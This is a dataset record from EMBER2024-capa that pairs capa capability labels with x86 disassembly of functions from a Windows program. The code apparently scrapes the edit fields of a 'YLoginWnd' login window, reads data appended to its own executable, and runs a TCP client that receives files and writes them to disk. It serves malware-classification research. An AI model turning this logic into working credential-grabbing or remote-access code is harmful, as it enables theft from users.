joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fd0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov edx, dword [0x40c621]
push ebx
mov eax, dword [0x40c619]
push esi
mov esi, ecx
push edi
mov ecx, dword [0x40c61d]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40c625]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov word [esp + 0x20], 0xc4ff
mov word [esp + 0x22], 0x1f00
mov byte [esp + 0x24], 0
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40c62c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xb
jbe 0x40202b
mov ecx, dword [0x40c63d]
mov edx, dword [0x40c641]
mov eax, dword [0x40c639]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40c645]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov byte [esp + 0x24], 1
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40c64c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xb
jbe 0x40208c
mov ecx, dword [0x40c65d]
mov edx, dword [0x40c661]
mov eax, dword [0x40c659]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40c665]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov word [esp + 0x22], 0xb500
mov byte [esp + 0x24], 0x10
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40c66c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xa1
jbe 0x4020f4
mov ecx, dword [0x40c715]
mov edx, dword [0x40c719]
mov eax, dword [0x40c711]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40c71d]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov byte [esp + 0x24], 0x11
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40c724]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xa1
jbe 0x402158
pop edi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x402190
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
xor al, al
mov dl, 0x11
mov byte [esp + 6], al
mov byte [esp + 0xb], al
mov byte [esp + 0xd], al
mov eax, dword [ecx + 4]
push eax
push 1
lea ecx, [esp + 8]
push 0xe
push ecx
mov word [esp + 0x10], 0xdaff
mov word [esp + 0x12], 0xc00
mov byte [esp + 0x14], 3
mov byte [esp + 0x15], 1
mov byte [esp + 0x17], 2
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 3
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1c], 0x3f
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x20
ret
Function at 0x402ec0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov al, byte [esp + 0xc]
push esi
dec al
mov esi, ecx
js 0x402f74
movsx eax, al
push ebp
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
lea ebp, [eax*2 + 0x40c4f8]
inc eax
mov dword [esp + 0xc], eax
mov ax, word [ebp]
mov edx, dword [esp + 0x14]
and eax, edx
test ax, ax
je 0x402f07
movsx ecx, byte [esi + 1]
mov al, byte [esi]
mov dl, byte [ecx*2 + 0x40c4f8]
or al, dl
mov byte [esi], al
mov al, byte [esi + 1]
sub ebp, 2
dec al
mov byte [esi + 1], al
jns 0x402f63
mov al, byte [esi]
cmp al, 0xff
jne 0x402f46
mov byte [esp + 0x18], al
mov eax, dword [esi + 4]
push eax
push 1
lea ecx, [esp + 0x20]
push 1
push ecx
call edi
mov edx, dword [esi + 4]
lea eax, [esp + 0x28]
push edx
push 1
push 1
push eax
mov byte [esp + 0x38], 0
call edi
add esp, 0x20
jmp 0x402f5c
mov ecx, dword [esi + 4]
lea edx, [esp + 0x18]
push ecx
push 1
push 1
push edx
mov byte [esp + 0x28], al
call edi
add esp, 0x10
mov byte [esi + 1], 7
mov byte [esi], 0
mov eax, dword [esp + 0xc]
dec eax
mov dword [esp + 0xc], eax
jne 0x402ee7
pop edi
pop ebp
pop esi
pop ecx
ret 8
Function at 0x4039d0
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
sub esp, 0x304
push ebx
push ebp
push esi
mov esi, dword [esp + 0x314]
mov ebx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx], 0x40c860
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov edi, dword [esp + 0x320]
mov dword [0x410954], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
call sub.MFC42.DLL_operatornew
mov dword [0x410958], eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.MSVCRT.dll__strlwr]
mov eax, ecx
mov esi, edi
mov edi, dword [0x410954]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x410954]
push ecx
call ebp
mov edi, dword [esp + 0x328]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [0x410958]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x410958]
push eax
call ebp
mov ecx, dword [esp + 0x330]
add esp, 0x10
lea edx, [esp + 0x214]
mov dword [0x4100ec], ecx
push 0xff
push edx
push 0
mov dword [ebx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x14]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
push 0x5c
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x17], al
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
lea esi, [esp + 0x11c]
lea edi, [edx + 1]
mov dword [esp + 0x18], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x11c]
mov byte [edx], 0
push ecx
call ebp
add esp, 0xc
push str.flash
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, dword [0x410958]
mov esi, eax
add esp, 8
lea eax, [esp + 0x114]
neg esi
sbb esi, esi
neg esi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x403b69
test cl, cl
je 0x403b65
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x403b69
add eax, 2
add edi, 2
test cl, cl
jne 0x403b45
xor edi, edi
jmp 0x403b6e
sbb edi, edi
sbb edi, 0xffffffff
lea eax, [esp + 0x14]
push eax
call fcn.00404430
cmp eax, 0x20
jle 0x403ba2
test esi, esi
jne 0x403bb0
test edi, edi
je 0x403bb0
push 5
push 0x521
mov ecx, ebx
call fcn.00404a80
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
mov ecx, ebx
mov dword [ebx + 0xc], 1
call fcn.00403d70
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x304
ret 0xc
Function at 0x404810
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1000
call fcn.00409a00
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x410284
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, dword [sym.imp.MSVCRT.dll_fseek]
mov ebp, eax
push 2
push 0xffffffffffffffce
push ebp
call ebx
push ebp
push 0x32
lea edx, [esp + 0x82c]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x24
push 1
push 0xffffffffffffff9c
push ebp
call ebx
push ebp
push 0x32
lea eax, [esp + 0x24]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
mov al, byte [esp + 0x5d]
add esp, 0x1c
cmp al, 0xaa
jne 0x40490f
or ecx, 0xffffffff
mov edi, str.___
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x810]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x404862
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x814]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x1014]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x810]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
pop edi
dec ecx
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x1000
ret 4

Function at 0x404960
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x64
lea eax, [esp]
push esi
push edi
push 0x64
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 8]
push 0x410284
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 2
push 0xffffffffffffffce
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 0x32
lea edx, [esp + 0x24]
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x70]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov eax, ecx
pop esi
add esp, 0x64
ret 4
Function at 0x4050c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x40acda
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x40c878
xor edi, edi
lea ecx, [esi + 8]
mov dword [esp + 0x1c], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x28]
mov byte [esp + 0x1c], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x4c]
mov byte [esp + 0x1c], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x50]
mov byte [esp + 0x1c], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x54]
mov byte [esp + 0x1c], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov dword [esi + 0x30], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x20], 6
mov dword [esi], 0x40c864
mov dword [esi + 0x2c], eax
call sub.MFC42.DLL_CString::operator
push 0x410950
mov ecx, ebx
mov dword [esi + 0x10], edi
mov dword [esi + 0x58], edi
call fcn.00409582
push 0x410950
lea ecx, [esi + 0x54]
call fcn.00409582
mov eax, 1
mov dword [esi + 0x24], edi
mov dword [esi + 0xc], eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x20], edi
cmp eax, edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
je 0x4051b5
lea ecx, [esi + 0x40]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0x30]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
je 0x4051d3
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
cmp eax, edi
je 0x4051e7
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x34]
cmp eax, edi
je 0x4051fe
mov edx, dword [esi + 0x38]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x3c], eax
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x406ea0
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
xor eax, eax
push 0x200
mov dword [ebx + 0x1b8], eax
mov dword [ebx + 0x1c0], eax
mov dword [ebx + 0x1bc], eax
mov dword [ebx + 0x1c4], eax
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1b0], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov eax, dword [esp + 0x18]
or ecx, 0xffffffff
mov dword [ebx + 0x194], eax
mov edi, str.TheComputerOfTheGhost
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b4], edx
mov dword [ebx + 0x198], ecx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + 4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebx], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret 4

Function at 0x406f50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 8
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], 0xffffffff
jne 0x406f82
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x194], eax
jne 0x406f82
pop edi
or eax, 0xffffffff
pop esi
add esp, 8
ret 8
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x406f9a
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x406f9e
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x19c]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x1a0], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x194]
push 0x10
push edi
push ecx
mov word [esi + 0x19e], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x406fee
pop edi
or eax, eax
pop esi
add esp, 8
ret 8
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 8]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x1c], 0x7530
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0xc]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x20], 0x7530
call edi
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x4070b0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
or eax, 0xffffffff
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x194], eax
je 0x4071e6
mov ecx, dword [esi + 0x198]
mov ebp, dword [sym.imp.WS2_32.dll_ioctlsocket]
lea eax, [esp + 0x10]
mov ebx, 1
push eax
push 0x8004667e
push ecx
mov dword [esp + 0x1c], ebx
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
lea edi, [eax + eax*4]
shl edi, 1
cmp edi, ebx
jl 0x407156
mov edx, dword [esi + 0x198]
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0x1bc]
test eax, eax
je 0x407129
mov ecx, dword [esi + 0x1c4]
push ecx
call eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x407140
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x407156
cmp dword [esi + 0x1ac], 0xffffffff
jne 0x407156
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jle 0x4070ff
mov eax, dword [esi + 0x198]
lea edx, [esp + 0x14]
push edx
xor edi, edi
push 0x8004667e
push eax
mov dword [esp + 0x20], edi
call ebp
mov eax, dword [esi + 0x1ac]
cmp eax, 0xffffffff
jne 0x407186
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x14
ret 4
lea ecx, [esp + 0x18]
mov dword [esi + 0x194], eax
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x24], edi
call ebp
mov eax, dword [esi + 0x194]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x1c]
push 4
push edx
push 0x1006
mov ebx, 0x7530
push 0xffff
push eax
mov dword [esp + 0x30], ebx
call edi
mov edx, dword [esi + 0x194]
lea ecx, [esp + 0x20]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x34], ebx
call edi
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x4072c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
mov al, byte [0x410950]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esp + 0xc], al
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0xd]
mov edx, dword [esi + 0x194]
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x4073f4
mov al, byte [esp + 0xc]
mov bl, 0x3e
cmp al, bl
jne 0x4073f4
mov ecx, dword [esi + 0x194]
push 0
lea eax, [esp + 0x11]
push 1
push eax
push ecx
call edi
cmp eax, 1
jl 0x4073f4
cmp byte [esp + 0xd], bl
jne 0x4073f4
mov eax, dword [esi + 0x194]
push 0
lea edx, [esp + 0x12]
push 1
push edx
push eax
call edi
cmp eax, 1
jl 0x4073f4
mov edx, dword [esi + 0x194]
push 0
lea ecx, [esp + 0x13]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x4073f4
movsx ebx, byte [esp + 0xf]
mov eax, dword [esp + 0xe]
shl ebx, 8
and eax, 0xff
add ebx, eax
cmp ebx, 0x400
jg 0x4073f4
lea ecx, [ebx - 4]
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004078e0
mov eax, dword [esp + 0x418]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xc]
mov edi, eax
push 0x41065c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
mov byte [ebx + eax], 0
lea eax, [esp + 0x14]
push eax
call esi
push 0x41065c
push 0
call esi
push 0x41065c
push 0
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x408
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x408
ret 4

Function at 0x407410
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
mov eax, dword [esp + 0x414]
push edi
push 0x410020
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [esp + 8], eax
test eax, eax
je 0x4074cd
push ebx
mov ebx, dword [esp + 0x420]
push ebp
push esi
mov dword [esp + 0x10], ebx
xor ebp, ebp
cmp ebx, 0x400
mov eax, 0x400
jge 0x40745a
mov eax, ebx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, edi
call fcn.004078e0
mov esi, eax
test esi, esi
jle 0x4074aa
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 1
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [edi + 0x1b8]
add esp, 0x10
sub ebx, esi
add ebp, esi
test eax, eax
je 0x4074a0
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp ebx, 1
jl 0x4074aa
cmp esi, 1
jge 0x40744b
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
pop ebx
jle 0x4074cd
mov eax, dword [esp + 4]
pop edi
add esp, 0x410
ret 8
or eax, 0xffffffff
pop edi
add esp, 0x410
ret 8
Function at 0x4074e0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x40c
push ebx
push edi
push 0x4100c8
mov ebx, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x40759a
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push edi
mov dword [esp + 0x2c], eax
call esi
add esp, 0x1c
xor ebp, ebp
push edi
push 0x400
lea ecx, [esp + 0x1c]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407558
lea edx, [esp + 0x14]
push esi
push edx
mov ecx, ebx
call fcn.00407870
mov esi, eax
mov eax, dword [ebx + 0x1b8]
add ebp, esi
test eax, eax
je 0x407573
mov ecx, dword [esp + 0x10]
mov edx, dword [ebx + 0x1c0]
push ecx
push ebp
push edx
call eax
cmp esi, 0x400
jge 0x40752d
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
jle 0x40759a
mov eax, dword [esp + 8]
pop edi
pop ebx
add esp, 0x40c
ret 4
pop edi
or eax, 0xffffffff
pop ebx
add esp, 0x40c
ret 4
Function at 0x407610
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x40aff8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x620
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea eax, [esp + 0x114]
push 0x104
push eax
push 0
mov dword [esp + 0x638], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], 0
mov eax, dword [esp + 0x640]
add esp, 8
test eax, eax
je 0x40767d
push 0x78
mov ecx, esi
call fcn.004070b0
lea edx, [esp + 0x21c]
mov ecx, esi
push edx
call fcn.004072c0
test eax, eax
je 0x4077de
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
push ebx
push ebp
push edi
lea eax, [esp + 0x22c]
push 0x41065c
push eax
call esi
push 0x41065c
push 0
mov ebp, eax
call esi
push 0x41065c
push 0
mov ebx, eax
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [esp + 0x30], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x410950
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x660]
mov ecx, ebp
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
add esp, 0x24
test eax, eax
jne 0x407748
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x410278
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x410950
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x644]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 8
test eax, eax
pop edi
pop ebp
pop ebx
je 0x4077c7
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x634]
push ecx
push edx
jmp 0x4077d1
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [esp + 0xc]
call fcn.00407410
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x638]
test eax, eax
je 0x4077f0
mov ecx, esi
call fcn.00407050
lea ecx, [esp + 0x634]
mov dword [esp + 0x62c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x624]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x62c
ret 8